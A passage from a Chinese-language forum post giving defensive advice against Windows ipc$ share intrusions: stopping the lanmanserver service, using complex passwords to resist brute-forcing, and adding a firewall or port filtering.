可能會有提示說,XXX服務也會關閉是否繼續。因為還有些次要的服務依賴於lanmanserver。一般情況按y繼續就可以了。  
C、最簡單的辦法是設置複雜密碼,防止通過ipc$窮舉密碼。但如果你有其他漏洞,ipc$將為進一步入侵提供方便。  
D、還有一個辦法就是裝防火牆,或者端口過濾。


[ 本帖最後由 蔡逸竹 於 2006-9-11 20:59 編輯 ]

TOP

發新話題

本站所有圖文均屬網友發表,僅代表作者的觀點與本站無關,如有侵權請通知版主會盡快刪除。